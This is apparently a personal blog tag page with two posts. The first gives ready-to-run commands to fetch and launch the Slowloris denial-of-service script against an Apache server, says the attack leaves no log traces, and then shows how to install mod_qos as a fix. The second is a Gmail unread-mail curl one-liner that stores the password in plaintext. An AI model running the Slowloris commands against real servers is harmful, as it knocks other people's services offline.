Posts Tagged ‘original article’

Apache Denial of Service (DoS) attack with Slowris / Crashing Apache

Monday, February 1st, 2010

slowloris-denial-of-service-apache-logo
A friend of mine pointed me to a nice tool that is able to create a succesful denial of service to
most of the running web servers out there. The tools is called slowris
For any further information there is the following publication on ha.ckers.org about slowris
The original article of the friend of mine is located on his (mpetrov.net) person blog .
Unfortunately the post is in Bulgarian so it’s not a match for English speaking audience.
To launch the attack on Debian Linux all you need is:

# apt-get install libio-all-perl libio-socket-ssl-perl
# wget http://ha.ckers.org/slowloris/slowloris.pl
now issue the attack
# perl slowloris.pl -dns example.com -port 80 -timeout 1 -num 200 -cache

There you go the Apache server is not responding, no-traces of the DoS are left on the server,
the log file is completely clear of records!
;The fix to the attack comes with installing the not so popular Apache module: mod_qos
# cd /tmp/
# wget http://freefr.dl.sourceforge.net/project/mod-qos/mod-qos/9.7/mod_qos-9.7.tar.gz
# tar zxvf mod_qos-9.7.tar.gz
# cd mod_qos-9.7/apache2/
# apxs2 -i -c mod_qos.cThe module is installing to "/usr/lib/apache2/modules"All left is configuring the module
# cd /etc/apache2/mods-available/
#vim qos.load

Add the following in the file:

LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so

Cheers! 🙂
I should express my gratitude to Martin Petrov's blog for the great info.

How to quickly check unread Gmail emails on GNU / Linux – one liner script

Monday, April 2nd, 2012

I've hit an interesting article explaining how to check unread gmail email messages in Linux terminal. The original article is here

Being able to read your latest gmail emails in terminal/console is great thing, especially for console geeks like me.
Here is the one liner script:

curl -u GMAIL-USERNAME@gmail.com:SECRET-PASSWORD \
--silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' \
| awk -F '' '{for (i=2; i<=NF; i++) {print $i}}' \
| sed -n "s/

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As you see this one liner uses curl to fetch the information from mail.google.com's atom feed and then uses awk and sed to parse the returned content and make it suitable for display.

If you want to use the script every now and then on a Linux server or your Linux desktop you can download the above code in a script file -quick_gmail_new_mail_check.sh here

Here is a screenshot of script's returned output:

Quick Gmail New Mail Check bash script screenshot

A good use of a modified version of the script is in conjunction with a 15 minutes cron job to launch for new gmail mails and launch your favourite desktop mail client.
This method is useful if you don't want a constant hanging Thunderbird or Evolution, pop3 / imap client on your system to just take up memory or dangle down the window list.
I've done a little modification to the script to simply, launch a predefined email reader program, if gmail atom feed returns new unread mails are available, check or download my check_gmail_unread_mail.sh here
Bear in mind, on occasions of errors with incorrect username or password, the script will not return any errors. The script is missing a properer error handling.Therefore, before you use the script make sure:

gmail_username='YOUR-USERNAME';
gmail_password='YOUR-PASSWORD';

are 100% correct.

To launch the script on 15 minutes cronjob, put it somewhere and place a cron in (non-root) user:

# crontab -u root -e
...
*/15 * * * * /path/to/check_gmail_unread_mail.sh

Once you read your new emails in lets say Thunderbird, close it and on the next delivered unread gmail mails, your mail client will pop up by itself again. Once the mail client is closed the script execution will be terminated.
Consised that if you get too frequently gmail emails, using the script might be annoying as every 15 minutes your mail client will be re-opened.

If you use any of the shell scripts, make sure there are well secured (make it owned only by you). The gmail username and pass are in plain text, so someone can steal your password, very easily. For a one user Linux desktops systems as my case, security is not such a big concern, putting my user only readable script permissions (e.g. chmod 0700)is enough.